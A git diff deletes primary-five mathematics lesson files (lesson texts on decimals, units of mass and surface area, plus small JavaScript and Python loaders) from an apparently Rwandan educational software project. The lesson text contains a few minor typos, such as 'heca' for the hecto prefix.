+++ /dev/null
@@ -1,3 +0,0 @@
-Introduction
-
-The computer will show examples of forming the sum of pairs or sets of decimal numbers. The computer will show that the numbers need to be expanded into a place table. The computer will remind the student that 10/10 = 1 unit, 10/100 = 1/10 and 100/1000 = 1/100. This means the pattern of regrouping works the same with decimals as it does with whole numbers. Therefore, the procedures which the student already knows for adding and subtracting whole numbers also applies to the addition and subtraction of decimals. 
diff --git a/Save_Mathematics/P5/map512m03/map512m03a02/a.txt b/Save_Mathematics/P5/map512m03/map512m03a02/a.txt
deleted file mode 100644
index 5b76ae6..0000000
--- a/Save_Mathematics/P5/map512m03/map512m03a02/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Guided Practice
-
-The computer will pose problems involving the addition and subtraction of decimals. If the student gives an incorrect answer, the computer will animate the solution by expanding the numbers in a place table and then performing the normal addition or subtraction operation and, finally, rewriting the sum or difference as a decimal number. This activity will continue until the student is satisfied that he/she has mastered the skill. 
diff --git a/Save_Mathematics/P5/map512m03/map512m03a02/description.py b/Save_Mathematics/P5/map512m03/map512m03a02/description.py
deleted file mode 100644
index e0c6ae2..0000000
--- a/Save_Mathematics/P5/map512m03/map512m03a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map512m03a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map512m03/map512m03a02/lesson.js b/Save_Mathematics/P5/map512m03/map512m03a02/lesson.js
deleted file mode 100644
index 85b5edb..0000000
--- a/Save_Mathematics/P5/map512m03/map512m03a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map512m03/map512m03a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map512m03/map512m03a02/source.txt b/Save_Mathematics/P5/map512m03/map512m03a02/source.txt
deleted file mode 100644
index 5b76ae6..0000000
--- a/Save_Mathematics/P5/map512m03/map512m03a02/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Guided Practice
-
-The computer will pose problems involving the addition and subtraction of decimals. If the student gives an incorrect answer, the computer will animate the solution by expanding the numbers in a place table and then performing the normal addition or subtraction operation and, finally, rewriting the sum or difference as a decimal number. This activity will continue until the student is satisfied that he/she has mastered the skill. 
diff --git a/Save_Mathematics/P5/map512m03/map512m03a03/a.txt b/Save_Mathematics/P5/map512m03/map512m03a03/a.txt
deleted file mode 100644
index 0961fcb..0000000
--- a/Save_Mathematics/P5/map512m03/map512m03a03/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-The computer will present the student with a set of problems requiring forming the sum or difference of decimals. 
diff --git a/Save_Mathematics/P5/map512m03/map512m03a03/description.py b/Save_Mathematics/P5/map512m03/map512m03a03/description.py
deleted file mode 100644
index c9e6421..0000000
--- a/Save_Mathematics/P5/map512m03/map512m03a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map512m03a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map512m03/map512m03a03/lesson.js b/Save_Mathematics/P5/map512m03/map512m03a03/lesson.js
deleted file mode 100644
index 8d752ff..0000000
--- a/Save_Mathematics/P5/map512m03/map512m03a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map512m03/map512m03a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map512m03/map512m03a03/source.txt b/Save_Mathematics/P5/map512m03/map512m03a03/source.txt
deleted file mode 100644
index 0961fcb..0000000
--- a/Save_Mathematics/P5/map512m03/map512m03a03/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-The computer will present the student with a set of problems requiring forming the sum or difference of decimals. 
diff --git a/Save_Mathematics/P5/map512m04/activities.js b/Save_Mathematics/P5/map512m04/activities.js
deleted file mode 100644
index a7f4ecb..0000000
--- a/Save_Mathematics/P5/map512m04/activities.js
+++ /dev/null
@@ -1,7 +0,0 @@
-var activities = [
-['1','1','map5','basic','map512m04a01','blue'],
-['2','2','map5','basic','map512m04a02','blue'],
-['3','3','map5','basic','map512m04a03','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P5/map512m04/map512m04a01/a.txt b/Save_Mathematics/P5/map512m04/map512m04a01/a.txt
deleted file mode 100644
index b5af008..0000000
--- a/Save_Mathematics/P5/map512m04/map512m04a01/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Introduction
-
-The computer will give some examples requiring the multiplication of a decimal by a whole number with one or two digits. By putting the numbers in a place value table, the computer will show that the procedure is that same as multiplying a whole number by a whole number. The only difference is that the product must have a decimal point separating the whole and decimal parts of the product. 
diff --git a/Save_Mathematics/P5/map512m04/map512m04a01/description.py b/Save_Mathematics/P5/map512m04/map512m04a01/description.py
deleted file mode 100644
index bf7ecd5..0000000
--- a/Save_Mathematics/P5/map512m04/map512m04a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map512m04a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map512m04/map512m04a01/lesson.js b/Save_Mathematics/P5/map512m04/map512m04a01/lesson.js
deleted file mode 100644
index 69aa67c..0000000
--- a/Save_Mathematics/P5/map512m04/map512m04a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map512m04/map512m04a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map512m04/map512m04a01/source.txt b/Save_Mathematics/P5/map512m04/map512m04a01/source.txt
deleted file mode 100644
index b5af008..0000000
--- a/Save_Mathematics/P5/map512m04/map512m04a01/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Introduction
-
-The computer will give some examples requiring the multiplication of a decimal by a whole number with one or two digits. By putting the numbers in a place value table, the computer will show that the procedure is that same as multiplying a whole number by a whole number. The only difference is that the product must have a decimal point separating the whole and decimal parts of the product. 
diff --git a/Save_Mathematics/P5/map512m04/map512m04a02/a.txt b/Save_Mathematics/P5/map512m04/map512m04a02/a.txt
deleted file mode 100644
index 16c1b96..0000000
--- a/Save_Mathematics/P5/map512m04/map512m04a02/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Guided Practice
-
-The computer will give some examples requiring the multiplication of a decimal by a whole number with one or two digits. By putting the numbers in a place value table, the computer will show that the procedure is that same as multiplying a whole number by a whole number. The only difference is that the product must have a decimal point separating the whole and decimal parts of the product. 
diff --git a/Save_Mathematics/P5/map512m04/map512m04a02/description.py b/Save_Mathematics/P5/map512m04/map512m04a02/description.py
deleted file mode 100644
index 906c580..0000000
--- a/Save_Mathematics/P5/map512m04/map512m04a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map512m04a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map512m04/map512m04a02/lesson.js b/Save_Mathematics/P5/map512m04/map512m04a02/lesson.js
deleted file mode 100644
index dcf0c05..0000000
--- a/Save_Mathematics/P5/map512m04/map512m04a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map512m04/map512m04a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map512m04/map512m04a02/source.txt b/Save_Mathematics/P5/map512m04/map512m04a02/source.txt
deleted file mode 100644
index 16c1b96..0000000
--- a/Save_Mathematics/P5/map512m04/map512m04a02/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Guided Practice
-
-The computer will give some examples requiring the multiplication of a decimal by a whole number with one or two digits. By putting the numbers in a place value table, the computer will show that the procedure is that same as multiplying a whole number by a whole number. The only difference is that the product must have a decimal point separating the whole and decimal parts of the product. 
diff --git a/Save_Mathematics/P5/map512m04/map512m04a03/a.txt b/Save_Mathematics/P5/map512m04/map512m04a03/a.txt
deleted file mode 100644
index 22642fc..0000000
--- a/Save_Mathematics/P5/map512m04/map512m04a03/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-The computer will evaluate the student's mastery of multiplying decimal numbers by a whole number of one or two digits by presenting a set of problems. 
diff --git a/Save_Mathematics/P5/map512m04/map512m04a03/description.py b/Save_Mathematics/P5/map512m04/map512m04a03/description.py
deleted file mode 100644
index 5e58866..0000000
--- a/Save_Mathematics/P5/map512m04/map512m04a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map512m04a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map512m04/map512m04a03/lesson.js b/Save_Mathematics/P5/map512m04/map512m04a03/lesson.js
deleted file mode 100644
index a0cca5d..0000000
--- a/Save_Mathematics/P5/map512m04/map512m04a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map512m04/map512m04a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map512m04/map512m04a03/source.txt b/Save_Mathematics/P5/map512m04/map512m04a03/source.txt
deleted file mode 100644
index 22642fc..0000000
--- a/Save_Mathematics/P5/map512m04/map512m04a03/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-The computer will evaluate the student's mastery of multiplying decimal numbers by a whole number of one or two digits by presenting a set of problems. 
diff --git a/Save_Mathematics/P5/map512m05/activities.js b/Save_Mathematics/P5/map512m05/activities.js
deleted file mode 100644
index d7e3382..0000000
--- a/Save_Mathematics/P5/map512m05/activities.js
+++ /dev/null
@@ -1,7 +0,0 @@
-var activities = [
-['1','1','map5','basic','map512m05a01','blue'],
-['2','2','map5','basic','map512m05a02','blue'],
-['3','3','map5','basic','map512m05a03','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P5/map512m05/map512m05a01/a.txt b/Save_Mathematics/P5/map512m05/map512m05a01/a.txt
deleted file mode 100644
index 690aa03..0000000
--- a/Save_Mathematics/P5/map512m05/map512m05a01/a.txt
+++ /dev/null
@@ -1,30 +0,0 @@
-Introduction
-
-The computer will animate the solution to a problem involving division of a decimal by a single digit whole number.
-
-As a first procedure, the computer will put the decimal number in a place value table. The student will be reminded that the quotient multiplied by the divisor plus the remainder is equal to the dividend. The division will be done in the place value table by repeated subtraction.
-
-For example,
-
-21.06 ÷ 9 T O t h
-2 1 0 6 Since 10x9 is greater than the dividend,
--1 8 the quotient has 0 tens
-3 0 6
--2 7 0 Since 2*9 = 18 is less than 21, the quotient
-3 6 has at least 2 units. We subtract 18 units
--3 6
-0
-Since 3/10 * 9 = 27/10 = 2.7, the quotient
-has at least 3/10s. We subtract 2.7
-
-Since 4/100 * 9 = 36/100 = .36, the quotient
-has at least 4/100s. We subtract .36
-
-The quotient is 2.34. Note that
-
-T O t h
-2. 3 4
-x 9
-2 1. 0 6
-
-The computer can also show the same result using the long division procedure.
diff --git a/Save_Mathematics/P5/map512m05/map512m05a01/description.py b/Save_Mathematics/P5/map512m05/map512m05a01/description.py
deleted file mode 100644
index 9bdc04a..0000000
--- a/Save_Mathematics/P5/map512m05/map512m05a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map512m05a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map512m05/map512m05a01/lesson.js b/Save_Mathematics/P5/map512m05/map512m05a01/lesson.js
deleted file mode 100644
index 6fec45c..0000000
--- a/Save_Mathematics/P5/map512m05/map512m05a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map512m05/map512m05a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map512m05/map512m05a01/source.txt b/Save_Mathematics/P5/map512m05/map512m05a01/source.txt
deleted file mode 100644
index 690aa03..0000000
--- a/Save_Mathematics/P5/map512m05/map512m05a01/source.txt
+++ /dev/null
@@ -1,30 +0,0 @@
-Introduction
-
-The computer will animate the solution to a problem involving division of a decimal by a single digit whole number.
-
-As a first procedure, the computer will put the decimal number in a place value table. The student will be reminded that the quotient multiplied by the divisor plus the remainder is equal to the dividend. The division will be done in the place value table by repeated subtraction.
-
-For example,
-
-21.06 ÷ 9 T O t h
-2 1 0 6 Since 10x9 is greater than the dividend,
--1 8 the quotient has 0 tens
-3 0 6
--2 7 0 Since 2*9 = 18 is less than 21, the quotient
-3 6 has at least 2 units. We subtract 18 units
--3 6
-0
-Since 3/10 * 9 = 27/10 = 2.7, the quotient
-has at least 3/10s. We subtract 2.7
-
-Since 4/100 * 9 = 36/100 = .36, the quotient
-has at least 4/100s. We subtract .36
-
-The quotient is 2.34. Note that
-
-T O t h
-2. 3 4
-x 9
-2 1. 0 6
-
-The computer can also show the same result using the long division procedure.
diff --git a/Save_Mathematics/P5/map512m05/map512m05a02/a.txt b/Save_Mathematics/P5/map512m05/map512m05a02/a.txt
deleted file mode 100644
index b91bf98..0000000
--- a/Save_Mathematics/P5/map512m05/map512m05a02/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Guided Practice
-
-The computer will supply a sequence of problems requiring the division of a decimal by a single digit whole number. It the student gives an incorrect answer, the computer will animate the solution using both the place table and repeated subtraction and the long division methods. The activity will continue until the student is satisfied that he/she has mastered the skill.
diff --git a/Save_Mathematics/P5/map512m05/map512m05a02/description.py b/Save_Mathematics/P5/map512m05/map512m05a02/description.py
deleted file mode 100644
index 898e8d7..0000000
--- a/Save_Mathematics/P5/map512m05/map512m05a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map512m05a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map512m05/map512m05a02/lesson.js b/Save_Mathematics/P5/map512m05/map512m05a02/lesson.js
deleted file mode 100644
index 42d8ba1..0000000
--- a/Save_Mathematics/P5/map512m05/map512m05a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map512m05/map512m05a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map512m05/map512m05a02/source.txt b/Save_Mathematics/P5/map512m05/map512m05a02/source.txt
deleted file mode 100644
index b91bf98..0000000
--- a/Save_Mathematics/P5/map512m05/map512m05a02/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Guided Practice
-
-The computer will supply a sequence of problems requiring the division of a decimal by a single digit whole number. It the student gives an incorrect answer, the computer will animate the solution using both the place table and repeated subtraction and the long division methods. The activity will continue until the student is satisfied that he/she has mastered the skill.
diff --git a/Save_Mathematics/P5/map512m05/map512m05a03/a.txt b/Save_Mathematics/P5/map512m05/map512m05a03/a.txt
deleted file mode 100644
index 7b406ce..0000000
--- a/Save_Mathematics/P5/map512m05/map512m05a03/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-The computer will present some problems involving the division of a decimal by a one digit whole number. 
diff --git a/Save_Mathematics/P5/map512m05/map512m05a03/description.py b/Save_Mathematics/P5/map512m05/map512m05a03/description.py
deleted file mode 100644
index 4fe5d1c..0000000
--- a/Save_Mathematics/P5/map512m05/map512m05a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map512m05a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map512m05/map512m05a03/lesson.js b/Save_Mathematics/P5/map512m05/map512m05a03/lesson.js
deleted file mode 100644
index 93f8d19..0000000
--- a/Save_Mathematics/P5/map512m05/map512m05a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map512m05/map512m05a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map512m05/map512m05a03/source.txt b/Save_Mathematics/P5/map512m05/map512m05a03/source.txt
deleted file mode 100644
index 7b406ce..0000000
--- a/Save_Mathematics/P5/map512m05/map512m05a03/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-The computer will present some problems involving the division of a decimal by a one digit whole number. 
diff --git a/Save_Mathematics/P5/map512m06/activities.js b/Save_Mathematics/P5/map512m06/activities.js
deleted file mode 100644
index 2af31e0..0000000
--- a/Save_Mathematics/P5/map512m06/activities.js
+++ /dev/null
@@ -1,7 +0,0 @@
-var activities = [
-['1','1','map5','basic','map512m06a01','blue'],
-['2','2','map5','basic','map512m06a02','blue'],
-['3','3','map5','basic','map512m06a03','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P5/map512m06/map512m06a01/a.txt b/Save_Mathematics/P5/map512m06/map512m06a01/a.txt
deleted file mode 100644
index 5a3c7e5..0000000
--- a/Save_Mathematics/P5/map512m06/map512m06a01/a.txt
+++ /dev/null
@@ -1,17 +0,0 @@
-Introduction
-
-Often you buy items in the shop by weight (or mass). For example, you may want to buy some rice. The rice costs 100 RWF per kilogram. The kilogram is a standard unit of measurement for mass (the unit for length is the meter, the unit for capacity is the liter).
-
-Do you remember the prefixes for the units of length and capacity?
-
-kilo - thousand
-heca - hundred
-deca - ten
-deci - tenth
-centi - hundredth
-mili - thousandth
-
-For mass, we have the kilogram (1 kg or 1000 grams), hecagram (1 hg or 100 grams) , decagram (1 dag or 10 grams) , gram (1 g), decigram ( 1 dg or 1/10 gram), centigram (1 cg or 1/100 gram), and milligram (1 mg or1/1000 gram).
-
-The conversion between units of mass is exactly the same as the conversion for length and capacity. In general, you use the unit that is most convenient.
-For example, in shops, the common unit is the kilogram. However, in a pharmacy, the gram is a more convenient unit. 
diff --git a/Save_Mathematics/P5/map512m06/map512m06a01/description.py b/Save_Mathematics/P5/map512m06/map512m06a01/description.py
deleted file mode 100644
index 950cdf2..0000000
--- a/Save_Mathematics/P5/map512m06/map512m06a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map512m06a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map512m06/map512m06a01/lesson.js b/Save_Mathematics/P5/map512m06/map512m06a01/lesson.js
deleted file mode 100644
index a73a483..0000000
--- a/Save_Mathematics/P5/map512m06/map512m06a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map512m06/map512m06a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map512m06/map512m06a01/source.txt b/Save_Mathematics/P5/map512m06/map512m06a01/source.txt
deleted file mode 100644
index 5a3c7e5..0000000
--- a/Save_Mathematics/P5/map512m06/map512m06a01/source.txt
+++ /dev/null
@@ -1,17 +0,0 @@
-Introduction
-
-Often you buy items in the shop by weight (or mass). For example, you may want to buy some rice. The rice costs 100 RWF per kilogram. The kilogram is a standard unit of measurement for mass (the unit for length is the meter, the unit for capacity is the liter).
-
-Do you remember the prefixes for the units of length and capacity?
-
-kilo - thousand
-heca - hundred
-deca - ten
-deci - tenth
-centi - hundredth
-mili - thousandth
-
-For mass, we have the kilogram (1 kg or 1000 grams), hecagram (1 hg or 100 grams) , decagram (1 dag or 10 grams) , gram (1 g), decigram ( 1 dg or 1/10 gram), centigram (1 cg or 1/100 gram), and milligram (1 mg or1/1000 gram).
-
-The conversion between units of mass is exactly the same as the conversion for length and capacity. In general, you use the unit that is most convenient.
-For example, in shops, the common unit is the kilogram. However, in a pharmacy, the gram is a more convenient unit. 
diff --git a/Save_Mathematics/P5/map512m06/map512m06a02/a.txt b/Save_Mathematics/P5/map512m06/map512m06a02/a.txt
deleted file mode 100644
index 9279f5b..0000000
--- a/Save_Mathematics/P5/map512m06/map512m06a02/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Guided Practice
-
-The computer will give examples of mass in various units. The student will give the same measure in a different unit. If the student gives an incorrect answer, the computer will show the correct solution by using a conversion table. This activity continues until the student is satisfied that he/she has mastered the skill of using different units to measure mass. 
diff --git a/Save_Mathematics/P5/map512m06/map512m06a02/description.py b/Save_Mathematics/P5/map512m06/map512m06a02/description.py
deleted file mode 100644
index 0f43792..0000000
--- a/Save_Mathematics/P5/map512m06/map512m06a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map512m06a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map512m06/map512m06a02/lesson.js b/Save_Mathematics/P5/map512m06/map512m06a02/lesson.js
deleted file mode 100644
index 7018983..0000000
--- a/Save_Mathematics/P5/map512m06/map512m06a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map512m06/map512m06a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map512m06/map512m06a02/source.txt b/Save_Mathematics/P5/map512m06/map512m06a02/source.txt
deleted file mode 100644
index 9279f5b..0000000
--- a/Save_Mathematics/P5/map512m06/map512m06a02/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Guided Practice
-
-The computer will give examples of mass in various units. The student will give the same measure in a different unit. If the student gives an incorrect answer, the computer will show the correct solution by using a conversion table. This activity continues until the student is satisfied that he/she has mastered the skill of using different units to measure mass. 
diff --git a/Save_Mathematics/P5/map512m06/map512m06a03/a.txt b/Save_Mathematics/P5/map512m06/map512m06a03/a.txt
deleted file mode 100644
index 40f4b97..0000000
--- a/Save_Mathematics/P5/map512m06/map512m06a03/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-The computer will ask the student to measurements of mass given in one unit into another unit to evaluate whether the syllabus objectives have been met. 
diff --git a/Save_Mathematics/P5/map512m06/map512m06a03/description.py b/Save_Mathematics/P5/map512m06/map512m06a03/description.py
deleted file mode 100644
index 491a434..0000000
--- a/Save_Mathematics/P5/map512m06/map512m06a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map512m06a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map512m06/map512m06a03/lesson.js b/Save_Mathematics/P5/map512m06/map512m06a03/lesson.js
deleted file mode 100644
index b7549b4..0000000
--- a/Save_Mathematics/P5/map512m06/map512m06a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map512m06/map512m06a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map512m06/map512m06a03/source.txt b/Save_Mathematics/P5/map512m06/map512m06a03/source.txt
deleted file mode 100644
index 40f4b97..0000000
--- a/Save_Mathematics/P5/map512m06/map512m06a03/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-The computer will ask the student to measurements of mass given in one unit into another unit to evaluate whether the syllabus objectives have been met. 
diff --git a/Save_Mathematics/P5/map512m07/activities.js b/Save_Mathematics/P5/map512m07/activities.js
deleted file mode 100644
index a8e0206..0000000
--- a/Save_Mathematics/P5/map512m07/activities.js
+++ /dev/null
@@ -1,7 +0,0 @@
-var activities = [
-['1','1','map5','basic','map512m07a01','blue'],
-['2','2','map5','basic','map512m07a02','blue'],
-['3','3','map5','basic','map512m07a03','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P5/map512m07/map512m07a01/a.txt b/Save_Mathematics/P5/map512m07/map512m07a01/a.txt
deleted file mode 100644
index f1e4633..0000000
--- a/Save_Mathematics/P5/map512m07/map512m07a01/a.txt
+++ /dev/null
@@ -1,15 +0,0 @@
-Introduction
-
-The unit of length is the meter. Suppose we have a square with a side equal to one meter. We say the surface area of this square is one square meter or one m2.
-
-Imagine the square is a floor tile. We want to place these tiles on the floor of a rectangular room 10 meters long and 4 meters wide. How many tiles do we need? We need 40 (4 rows of 10 tiles). The surface area of the floor is 40m2.
-
-The unit of measure of surface area is the square meter (m2). Just as in measurement of length, there are other units: square centimeter (cm2), square millimeter (mm2), square decimeter (dm2).
-
-When measuring the surface area of land, we need bigger units. The hectare (ha) is a common unit. From the prefix, hect-, you can guess that a hectare = 100 are. From the prefix, cent-, you can guess that a centare = 1/100 are.
-
-The surface area of a centare is one square meter (1 m2). The surface area of our tile was one centare. The surface area of an are is 100m2. The surface area of a hectare is 10 000m2, 100 times that of an are.
-
-What would be the surface area in hectares of a square piece of land one kilometer on a side? The surface area is 1 km2. This is also a square with 1000 meters on a side. Think of our 1m2 tiles. We would need 1000x1000 tiles to cover the surface! So a square kilometre has the same surface area as 100 hectares.
-
-Remember that when we multiply a number by itself, we call the product the square of the number - can you see why? If I have a square 2 meters on a side, the surface area is the square of the length, 4 m2.
diff --git a/Save_Mathematics/P5/map512m07/map512m07a01/description.py b/Save_Mathematics/P5/map512m07/map512m07a01/description.py
deleted file mode 100644
index e8d61b6..0000000
--- a/Save_Mathematics/P5/map512m07/map512m07a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map512m07a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map512m07/map512m07a01/lesson.js b/Save_Mathematics/P5/map512m07/map512m07a01/lesson.js
deleted file mode 100644
index 5cc12ee..0000000
--- a/Save_Mathematics/P5/map512m07/map512m07a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map512m07/map512m07a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map512m07/map512m07a01/source.txt b/Save_Mathematics/P5/map512m07/map512m07a01/source.txt
deleted file mode 100644
index f1e4633..0000000
--- a/Save_Mathematics/P5/map512m07/map512m07a01/source.txt
+++ /dev/null
@@ -1,15 +0,0 @@
-Introduction
-
-The unit of length is the meter. Suppose we have a square with a side equal to one meter. We say the surface area of this square is one square meter or one m2.
-
-Imagine the square is a floor tile. We want to place these tiles on the floor of a rectangular room 10 meters long and 4 meters wide. How many tiles do we need? We need 40 (4 rows of 10 tiles). The surface area of the floor is 40m2.
-
-The unit of measure of surface area is the square meter (m2). Just as in measurement of length, there are other units: square centimeter (cm2), square millimeter (mm2), square decimeter (dm2).
-
-When measuring the surface area of land, we need bigger units. The hectare (ha) is a common unit. From the prefix, hect-, you can guess that a hectare = 100 are. From the prefix, cent-, you can guess that a centare = 1/100 are.
-
-The surface area of a centare is one square meter (1 m2). The surface area of our tile was one centare. The surface area of an are is 100m2. The surface area of a hectare is 10 000m2, 100 times that of an are.
-
